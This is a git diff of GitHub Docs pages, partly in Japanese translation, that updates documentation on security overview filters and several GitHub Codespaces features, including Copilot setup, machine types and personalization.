| `dependabot-security-updates:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot %} security updates. |
| `secret-scanning-push-protection:enabled` | Display repositories that have set up push protection for {% data variables.product.prodname_secret_scanning %}. |
{% endif %}
## Filter by repository type
Available in the organization-level and team-level overview.
These qualifiers are available in the main summary views.
| Qualifier | Description |
| -------- | -------- |
{%- ifversion ghes or ghec %}
| `is:public` | Display public repositories. |
{%- endif %}
{%- ifversion ghes or ghec or ghae %}
| `is:internal` | Display internal repositories. |
{%- endif %}
| `is:private` | Display private repositories. |
| `archived:true` | Display archived repositories. |
| `archived:true` | Display archived repositories. |
| `archived:false` | Omit archived repositories. |
{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
## Filter by level of risk for repositories
The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. Available in the organization-level overview.
The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk.
{% ifversion security-overview-org-risk-coverage %}
These qualifiers are available in the enterprise-level view.
{% endif %}
| Qualifier | Description |
| -------- | -------- |
@@ -80,10 +92,11 @@ The level of risk for a repository is determined by the number and severity of a
| `risk:low` | Display repositories that are at low risk. |
| `risk:unknown` | Display repositories that are at an unknown level of risk. |
| `risk:clear` | Display repositories that have no detected level of risk. |
{% endif %}
## Filter by number of alerts
Available in the organization-level overview.
{% ifversion security-overview-org-risk-coverage %}These qualifiers are available in the enterprise-level Overview and in the organization-level Security Risk view.{% else %}These qualifiers are available in the main summary views.{% endif %}
| Qualifier | Description |
| -------- | -------- |
@@ -94,7 +107,7 @@ Available in the organization-level overview.
## Filter by team
Available in the organization-level overview.
These qualifiers are available in the main summary views.
| Qualifier | Description |
| -------- | -------- |
@@ -102,17 +115,17 @@ Available in the organization-level overview.
## Filter by topic
Available in the organization-level overview.
These qualifiers are available in the main summary views.
| Qualifier | Description |
| -------- | -------- |
| <code>topic:<em>TOPIC-NAME</em></code> | Displays repositories that are classified with *TOPIC-NAME*. |
{% ifversion security-overview-views %}
{% ifversion security-overview-alert-views %}
## Filter by severity
## Additional filters for {% data variables.product.prodname_code_scanning %} alert views
Available in the code scanning alert views. All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant rule, and the line of code that triggered the alert.
All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant query and the line of code that triggered the alert.
| Qualifier | Description |
| -------- | -------- |
@@ -125,9 +138,9 @@ Available in the code scanning alert views. All code scanning alerts have one of
|`severity:note`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as notes.|
{% ifversion dependabot-alerts-vulnerable-calls %}
## Filter by {% data variables.product.prodname_dependabot %} alert type
## Additional filters for {% data variables.product.prodname_dependabot %} alert views
Available in the {% data variables.product.prodname_dependabot %} alert views. You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert.
You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert.
| Qualifier | Description |
| -------- | -------- |
@@ -137,19 +150,13 @@ Available in the {% data variables.product.prodname_dependabot %} alert views. Y
{% endif %}
## Filter by secret types
Available in the secret scanning alert views.
## Additional filters for {% data variables.product.prodname_secret_scanning %} alert views
| Qualifier | Description |
| -------- | -------- |
| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." |
| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." |
|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider. |
| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. |
| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern. |
## Filter by provider
For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)."
Available in the secret scanning alert views.
| Qualifier | Description |
| -------- | -------- |
|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." |

View File

@@ -1,8 +1,9 @@
---
title: Viewing the security overview
title: Viewing security overviews
intro: Navigate to the different views available in the security overview
permissions: '{% data reusables.security-overview.permissions %}'
product: '{% data reusables.gated-features.security-overview %}'
allowTitleToDifferFromFilename: true
versions:
ghae: '>= 3.4'
ghes: '*'
@@ -14,7 +15,7 @@ topics:
- Alerts
- Organizations
- Teams
shortTitle: View the security overview
shortTitle: View security overviews
---
{% ifversion ghes < 3.5 or ghae %}
@@ -23,48 +24,44 @@ shortTitle: View the security overview
{% data reusables.security-overview.information-varies-GHAS %}
## Viewing the security overview for an organization
## Viewing the security overviews for an organization
{% data reusables.security-overview.beta-org-risk-coverage %}
{% ifversion security-overview-org-risk-coverage %}
{% data reusables.organizations.navigate-to-org %}
{% data reusables.organizations.security-overview %}
1. Choose the overview you want to display from the options in the sidebar.
1. Use the drop-down filters and search box to focus on the information of greatest interest. The "Security Risk" and "Security Coverage" views also have an interactive header that you can use to filter results.
![Screenshot of the Security Risk view with interactive header highlighted](/assets/images/help/security-overview/security-risk-interactive-header.png)
{% else %}
{% data reusables.organizations.navigate-to-org %}
{% data reusables.organizations.security-overview %}
1. To view aggregate information about alert types, click **Show more**.
![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png)
![Show more button](/assets/images/help/security-overview/security-overview-show-more-button.png)
{% data reusables.organizations.filter-security-overview %}
{% ifversion security-overview-views %}
{% ifversion security-overview-alert-views %}
{% data reusables.organizations.security-overview-feature-specific-page %}
![Screenshot of the code scanning-specific page](/assets/images/help/organizations/security-overview-code-scanning-alerts.png)
![Screenshot of the code scanning-specific page](/assets/images/help/security-overview/security-overview-code-scanning-alerts.png)
{% endif %}
## Viewing alerts across your organization
{% data reusables.organizations.navigate-to-org %}
{% data reusables.organizations.security-overview %}
1. In the security sidebar, select the subset of alerts you want to view.
![View alert subset](/assets/images/help/organizations/view-alert-subset.png)
2. Optionally, filter the list of alerts. Each view has its own selection of available filters. You can click multiple filters in the drop-down filter menus to narrow your search. You can also type search qualifiers in the search field. For more information about the available qualifiers, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
![The drop-down filter menus and Search repositories field in the secret scanning view](/assets/images/help/organizations/secret-scanning-filter-alerts.png)
{% endif %}
{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
## Viewing the security overview for an enterprise
## Viewing the security overviews for an enterprise
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
1. In the left sidebar, click {% octicon "shield" aria-label="The shield icon" %} **Code Security**.
{% ifversion security-overview-feature-specific-alert-page %}
{% data reusables.organizations.security-overview-feature-specific-page %}
{% endif %}
{% endif %}
## Viewing alerts for a repository
{% data reusables.repositories.navigate-to-repo %}
1. Under your repository name, click **Security**.
![Repository security tab](/assets/images/help/repository/security-tab.png)
2. In the security sidebar, select the view you want to open.
![Repository view alert subset](/assets/images/help/repository/repo-security-side-panel.png)
3. Optionally, filter the list of alerts. Each view has its own selection of available filters. You can click multiple filters in the drop-down filter menus to narrow your search. You can also type search qualifiers in the search field. For more information about the available qualifiers, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
![Drop down filter menus in the repository secret scanning alerts view](/assets/images/help/repository/repo-code-scanning-filter-and-search.png)
{% endif %}
{% ifversion ghes < 3.7 or ghae < 3.7 %}
## Viewing the security overview for a team
{% data reusables.profile.access_org %}
@@ -72,3 +69,4 @@ shortTitle: View the security overview
{% data reusables.organizations.specific_team %}
{% data reusables.organizations.team-security-overview %}
{% data reusables.organizations.filter-security-overview %}
{% endif %}

View File

@@ -6,14 +6,13 @@ versions:
ghec: '*'
topics:
- Codespaces
product: '{% data reusables.gated-features.codespaces %}'
shortTitle: Private image registry
ms.openlocfilehash: 653584296b5513b670c145f9fa2f092f5a9fdae8
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
ms.openlocfilehash: c11cfe0179856caf17f30ac32830ee1485defa3c
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/27/2022
ms.locfileid: '148113890'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159206'
---
## プライベート イメージ レジストリと {% data variables.product.prodname_github_codespaces %} について

View File

@@ -4,7 +4,6 @@ intro: 'This article describes guidance for a disaster recovery scenario, when a
versions:
fpt: '*'
ghec: '*'
product: '{% data reusables.gated-features.codespaces %}'
topics:
- Codespaces
shortTitle: Disaster recovery

View File

@@ -4,18 +4,18 @@ intro: 'このセクションには、{% data variables.product.prodname_github_
versions:
fpt: '*'
ghec: '*'
product: '{% data reusables.gated-features.codespaces %}'
children:
- /allowing-your-codespace-to-access-a-private-image-registry
- /using-github-copilot-in-github-codespaces
- /using-the-github-codespaces-plugin-for-jetbrains
- /using-the-vs-code-command-palette-in-codespaces
- /security-in-github-codespaces
- /disaster-recovery-for-github-codespaces
ms.openlocfilehash: 3e3ebc7b7222afcb9505e1f535975feadb9515a7
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.openlocfilehash: 87692cd862e791f3e6ffa2be2b07f34c6158e617
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147110843'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159198'
---

View File

@@ -9,16 +9,87 @@ topics:
- Codespaces
- Copilot
- Visual Studio Code
product: '{% data reusables.gated-features.codespaces %}'
shortTitle: Copilot in Codespaces
redirect_from:
- /codespaces/codespaces-reference/using-copilot-in-codespaces
- /codespaces/codespaces-reference/using-github-copilot-in-codespaces
---
## Using {% data variables.product.prodname_copilot %}
{% jetbrains %}
[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), an AI pair programmer, can be used in any codespace. To start using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %}, install the [{% data variables.product.prodname_copilot %} extension from the {% data variables.product.prodname_vscode_marketplace %}](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot). For more information about {% data variables.product.prodname_copilot %} setup and usage, see the [{% data variables.product.prodname_copilot %} documentation](/copilot).
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
To include {% data variables.product.prodname_copilot %}, or other extensions, in all of your codespaces, enable Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#settings-sync)." Additionally, to include {% data variables.product.prodname_copilot %} in a given project for all users, you can specify `GitHub.copilot` as an extension in your `devcontainer.json` file. For information about configuring a `devcontainer.json` file, see "[Introduction to dev containers](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)."
{% endjetbrains %}
{% webui %}
## Using {% data variables.product.prodname_copilot %} in the {% data variables.product.prodname_vscode_shortname %} web client
{% data reusables.codespaces.copilot-in-vscode %}
{% endwebui %}
{% vscode %}
## Using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}
{% data reusables.codespaces.copilot-in-vscode %}
{% endvscode %}
{% jetbrains %}
## Installing {% data variables.product.prodname_copilot %} in your JetBrains IDE
[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), an AI pair programmer, can be used in any codespace. For more information, see "[About GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot)."
To use {% data variables.product.prodname_copilot %} in a codespace in your JetBrains IDE, install the [{% data variables.product.prodname_copilot %} plugin](https://plugins.jetbrains.com/plugin/17718-github-copilot) from within your codespace.
{% note %}
**Note**: You must install the {% data variables.product.prodname_copilot %} plugin each time you create a new codespace.
{% endnote %}
1. In the JetBrains client application, open the Settings (Windows/Linux) or Preferences (Mac) dialog box:
- **Windows/Linux**: Click **File** and then **Settings** (or press <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>S</kbd>)
- **Mac**: Click **JetBrains Client** in the MacOS menu bar, then click **Preferences** (or press <kbd>command</kbd>+<kbd>,</kbd>)
1. In the left-side menu of the Settings/Preferences dialog box, click **Plugins On Host**. Then click the **Marketplace** tab.
![Screenshot of the Marketplace tab for 'Plugins On Host'](/assets/images/help/codespaces/jetbrains-preferences-plugins.png)
1. In the search box, type "copilot" then click the **Install** button for the {% data variables.product.prodname_copilot %} plugin.
![Screenshot of the {% data variables.product.prodname_copilot %} plugin](/assets/images/help/codespaces/jetbrains-copilot-plugin.png)
1. Click **Accept** on the "Third-Party Plugins Privacy Note" dialog box.
1. Click **Restart IDE**.
![Screenshot of the {% data variables.product.prodname_copilot %} plugin](/assets/images/help/codespaces/jetbrains-copilot-restart.png)
1. Click **Restart** when prompted to confirm that you want to restart the backend IDE that's running remotely. The JetBrains client application will close when you do this.
1. Open the codespace again from the JetBrains Gateway application. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide#opening-a-codespace-in-your-jetbrains-ide)."
1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**.
![Screenshot of the JetBrains Tools menu](/assets/images/help/codespaces/jetbrains-tools-menu.png)
1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**.
![Screenshot of the device code copy and open](/assets/images/help/copilot/device-code-copy-and-open.png)
1. A device activation window will open in your browser. Paste the device code, then click **Continue**.
- To paste the code in Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>v</kbd>.
- To paste the code in macOS, press <kbd>command</kbd>+<kbd>v</kbd>.
1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**.
1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**.
![Screenshot of the JetBrains IDE permissions confirmation](/assets/images/help/copilot/jetbrains-ide-confirmation.png)
## Further reading
- "[Getting started with GitHub Copilot in a JetBrains IDE](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide)"
{% endjetbrains %}

View File

@@ -8,7 +8,6 @@ type: reference
topics:
- Codespaces
- Visual Studio Code
product: '{% data reusables.gated-features.codespaces %}'
shortTitle: VS Code Command Palette
allowTitleToDifferFromFilename: true
redirect_from:
@@ -35,7 +34,7 @@ You can access the {% data variables.product.prodname_vscode_command_palette_sho
To see all commands related to {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "Codespaces".
![A list of all commands that relate to Codespaces](/assets/images/help/codespaces/codespaces-command-palette.png)
![A list of all commands that relate to {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-command-palette.png)
### Suspending or stopping a codespace
@@ -45,9 +44,9 @@ To suspend or stop your codespace's container, [access the {% data variables.pro
![Command to stop a codespace](/assets/images/help/codespaces/codespaces-stop.png)
### Adding a dev container from a template
### Adding a predefined dev container configuration
To add a dev container from a template, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "dev container". Select **Codespaces: Add Development Container Configuration Files...**
To add a predefined dev container configuration, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "dev container". Select **Codespaces: Add Development Container Configuration Files...**
![Command to add a dev container](/assets/images/help/codespaces/add-prebuilt-container-command.png)
@@ -66,3 +65,7 @@ You can use the {% data variables.product.prodname_vscode_command_palette_shortn
To retrieve the logs for {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "log". Select **Codespaces: Export Logs** to export all logs related to {% data variables.product.prodname_github_codespaces %} or select **Codespaces: View Creation Logs** to view logs related to the setup.
![Command to access logs](/assets/images/help/codespaces/codespaces-logs.png)
## Further reading
- "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)"

View File

@@ -1,8 +1,7 @@
---
title: codespace のマシンの種類を変更する
title: Changing the machine type for your codespace
shortTitle: Change the machine type
intro: codespace を実行しているマシンの種類を変更し、実行している作業に適したリソースを使用できます。
product: '{% data reusables.gated-features.codespaces %}'
intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for the work you''re doing.'
versions:
fpt: '*'
ghec: '*'
@@ -11,30 +10,21 @@ redirect_from:
topics:
- Codespaces
type: how_to
ms.openlocfilehash: 618b031ce0c23c2b4eba52157fca2a6625fe3dfd
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148108839'
---
## マシンの種類について
## About machine types
{% data reusables.codespaces.codespaces-machine-types %} You can choose an alternative machine type either when you create a codespace or at any time after you've created a codespace.
For information on choosing a machine type when you create a codespace, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)."
## Changing the machine type
{% note %}
**注:** {% data variables.product.prodname_github_codespaces %} を使用する Organization のメンバーであり、その Organization が所有するリポジトリで codespace を作成している場合にのみ、マシンの種類を選んだり、変えたりできます。
{% endnote %}
{% data reusables.codespaces.codespaces-machine-types %} codespace を作るときは、あるいは codespace の作成後はいつでも、代替マシンの種類を選べます。
codespace の作成時にマシンの種類を選ぶ方法については、「[codespace の作成](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)」を参照してください。
## マシンの種類の変更
{% note %}
**注**: {% data reusables.codespaces.codespaces-machine-type-availability %}
**Note**: {% data reusables.codespaces.codespaces-machine-type-availability %}
{% endnote %}
@@ -42,18 +32,18 @@ codespace の作成時にマシンの種類を選ぶ方法については、「[
{% data reusables.codespaces.your-codespaces-procedure-step %}
各 codespace の現在のコンピューターの種類が表示されます。
The current machine type for each of your codespaces is displayed.
!["あなたの codespace" リスト](/assets/images/help/codespaces/your-codespaces-list.png)
!['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png)
1. 変更する codespace の右側にある省略記号 ( **...** ) をクリックします。
1. **[マシンの種類を変更する]** をクリックします。
{% data reusables.codespaces.ellipsis-settings %}
1. Click **Change machine type**.
![[マシンの種類の変更] メニュー オプション](/assets/images/help/codespaces/change-machine-type-menu-option.png)
1. codespace で複数のコンピューターの種類を使える場合、使うマシンの種類を選びます。
!['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png)
1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
![選べるマシンの種類を示すダイアログ ボックス](/assets/images/help/codespaces/change-machine-type-choice.png)
1. **[codespace の更新]** をクリックします。
![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png)
1. Click **Update codespace**.
{% endwebui %}
@@ -65,39 +55,39 @@ codespace の作成時にマシンの種類を選ぶ方法については、「[
{% cli %}
`gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} コマンドを使用して、codespace のマシンの種類を変更できます。 このコマンドを使用するには、まず codespace で使用可能なマシンの種類を確認する必要があります。
You can use the `gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} command to change the machine type of a codespace. To use this command, you'll first need to find out the available machine types for your codespace.
1. codespaces の一覧を表示するには、ターミナルで次のコマンドを入力します。
1. To view your list of codespaces, in a terminal, enter the following command.
```
gh codespace list
```
1. 必要に応じて、codespace 用の現在のマシンの種類を検索するには、次のコマンドを入力します。
1. Optionally, to find the current machine type for a codespace, enter the following command.
```
gh api /user/codespaces/CODESPACE-NAME
```
`CODESPACE-NAME` を codespace の永続的な名前に置き換えます (例: `octocat-myrepo-gmc7`)。 永続的な名前は、`gh codespace list` によって返される一覧の **NAME** 列の下に一覧表示されます。
Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`. The permanent names are listed under the **NAME** column in the list returned by `gh codespace list`.
`codespace` スコープを要求するように求められた場合は、ターミナルの指示に従います。
If you're prompted to request the `codespace` scope, follow the instructions in the terminal.
現在のマシンについて詳しくは、`machine` フィールドの下に一覧表示されます。
1. codespace で使用可能なマシンの種類を見つけるには、次のコマンドを入力します。
Details for the current machine are listed under the `machine` field.
1. To find the available machine types for a codespace, enter the following command.
```
gh api /user/codespaces/CODESPACE-NAME/machines
```
`CODESPACE-NAME` を codespace の永続的な名前に置き換えます (例: `octocat-myrepo-gmc7`)。
1. codespace 用のマシンの種類を変更するには、次のコマンドを入力します。
Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`.
1. To change the machine type for a codespace, enter the following command.
```
gh codespace edit --machine MACHINE-TYPE-NAME
```
`MACHINE-TYPE-NAME` を codespace で使用できるマシンの種類の名前に置き換えます (例: `standardLinux32gb`)。
1. 方向キーを使用して、変更する codespace に移動して、<kbd>Enter</kbd> キーを押します。
Replace `MACHINE-TYPE-NAME` with the name of an available machine type for your codespace, for example `standardLinux32gb`.
1. Using the arrow keys, navigate to the codespace you want to change, then press <kbd>Enter</kbd>.
{% endcli %}
@@ -105,9 +95,9 @@ codespace の作成時にマシンの種類を選ぶ方法については、「[
{% cli %}
## 参考資料
## Further reading
- REST API ドキュメント内の「[codespaces マシン](/rest/codespaces/machines)
- {% data variables.product.prodname_cli %} マニュアル内の「[`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit)
- "[Codespaces machines](/rest/codespaces/machines)" in the REST API documentation
- [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) in the {% data variables.product.prodname_cli %} manual
{% endcli %}

View File

@@ -2,7 +2,6 @@
title: Configuring automatic deletion of your codespaces
shortTitle: Configure automatic deletion
intro: 'Inactive codespaces are automatically deleted. You can choose how long your stopped codespaces are retained, up to a maximum of 30 days.'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -97,7 +96,7 @@ You can set your default retention period in your web browser, on {% data variab
You can check, in the {% data variables.product.prodname_vscode %} desktop application, whether a codespace is due to be automatically deleted soon.
{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
1. Choose **{% data variables.product.prodname_github_codespaces %}** from the drop-down menu at the top right of the Remote Explorer, if it is not already selected.
1. Choose **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu at the top right of the Remote Explorer, if it is not already selected.
1. Under "GITHUB CODESPACES," position the mouse pointer over the codespace that you're interested in. A pop-up box is displayed showing you information about the codespace.
If the codespace is nearing the end of its retention period, a line is included telling you when the codespace will be deleted.

View File

@@ -1,7 +1,6 @@
---
title: codespace のカスタマイズ
intro: '{% data variables.product.prodname_github_codespaces %} は自分専用の環境に整えることができます。 リポジトリを開発コンテナーで設定して既定の {% data variables.product.prodname_github_codespaces %} 環境を定義し、ドットファイルと Settings Sync を使用すると、すべての codespace にわたって開発体験をパーソナライズできます。'
product: '{% data reusables.gated-features.codespaces %}'
versions:
fpt: '*'
ghec: '*'
@@ -17,11 +16,11 @@ children:
- /setting-your-default-region-for-github-codespaces
- /setting-your-timeout-period-for-github-codespaces
- /configuring-automatic-deletion-of-your-codespaces
ms.openlocfilehash: a986d300c7c584225cbf2505b284276f7e6511d1
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.openlocfilehash: cae6a1caddb91bbc8d67657591be0c0f14af4a56
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147110750'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159126'
---

View File

@@ -15,7 +15,6 @@ topics:
- Codespaces
- Set up
- Fundamentals
product: '{% data reusables.gated-features.codespaces %}'
---
@@ -23,7 +22,7 @@ product: '{% data reusables.gated-features.codespaces %}'
When using any development environment, customizing the settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_github_codespaces %} allows for two main ways of personalizing your codespaces.
- [Settings Sync](#settings-sync) - You can use and share {% data variables.product.prodname_vscode %} settings between {% data variables.product.prodname_github_codespaces %} and other instances of {% data variables.product.prodname_vscode %}.
- [Settings Sync](#settings-sync) - You can synchronize your {% data variables.product.prodname_vscode %} settings between the desktop application and the {% data variables.product.prodname_vscode_shortname %} web client.
- [Dotfiles](#dotfiles) You can use a `dotfiles` repository to specify scripts, shell preferences, and other configurations.
{% data variables.product.prodname_github_codespaces %} personalization applies to any codespace you create.
@@ -32,13 +31,13 @@ Project maintainers can also define a default configuration that applies to ever
## Settings Sync
Settings Sync allows you to share configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode %}.
Settings Sync allows you to synchronize configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode_shortname %}.
To enable Settings Sync, in the bottom-left corner of the Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync.
To enable Settings Sync, in the bottom-left corner of {% data variables.product.prodname_vscode %}'s Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync.
![Setting Sync option in manage menu](/assets/images/help/codespaces/codespaces-manage-settings-sync.png)
For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode %} documentation.
For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation.
## Dotfiles
@@ -65,7 +64,7 @@ Any changes to your selected dotfiles repository will apply only to each new cod
{% note %}
**Note:** Currently, {% data variables.product.prodname_github_codespaces %} does not support personalizing the _User_ settings for the {% data variables.product.prodname_vscode %} editor with your `dotfiles` repository. You can set default _Workspace_ and _Remote [Codespaces]_ settings for a specific project in the project's repository. For more information, see "[Introduction to dev containers](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)."
**Note:** Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the User-scoped settings for {% data variables.product.prodname_vscode_shortname %} with your `dotfiles` repository. You can set default Workspace and Remote [Codespaces] settings for a specific project in the project's repository. For more information, see "[Introduction to dev containers](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)."
{% endnote %}
@@ -96,10 +95,11 @@ You can also personalize {% data variables.product.prodname_github_codespaces %}
- To enable GPG verification, see "[Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)."
- To set your editor, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
- To set how long a codespace can remain unused before it is automatically stopped, see "[Setting your timeout period for GitHub Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)."
- To set how long a codespace can remain unused before it is automatically stopped, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)."
- To set the period for which your unused codespaces are retained, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)."
- To set your default region, see "[Setting your default region for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces)."
## Further reading
* "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)"
* "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive#personalizing-your-codespace-with-extensions-or-plugins)"

View File

@@ -1,7 +1,6 @@
---
title: codespace の名前を変更する
intro: '{% data variables.product.prodname_cli %} を使用して、codespace の表示名を任意の名前に変更できます。'
product: '{% data reusables.gated-features.codespaces %}'
title: Renaming a codespace
intro: 'You can change the codespace display name to one of your choice through {% data variables.product.prodname_dotcom_the_website %} or the {% data variables.product.prodname_cli %}.'
versions:
fpt: '*'
ghec: '*'
@@ -11,53 +10,69 @@ topics:
- Fundamentals
- Developer
shortTitle: Rename a codespace
ms.openlocfilehash: 58e5e9584df07e8e6abba3f1cfac5d0b3234c01a
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107086'
---
## codespace の名前変更について
各 codespace には、自動生成された表示名が割り当てられます。 複数の codespace がある場合、表示名は codespace を区別するのに役立ちます。 (例: `literate space parakeet`)。 codespace の表示名を変更できます。
## About renaming a codespace
codespace の表示名を見つけるには:
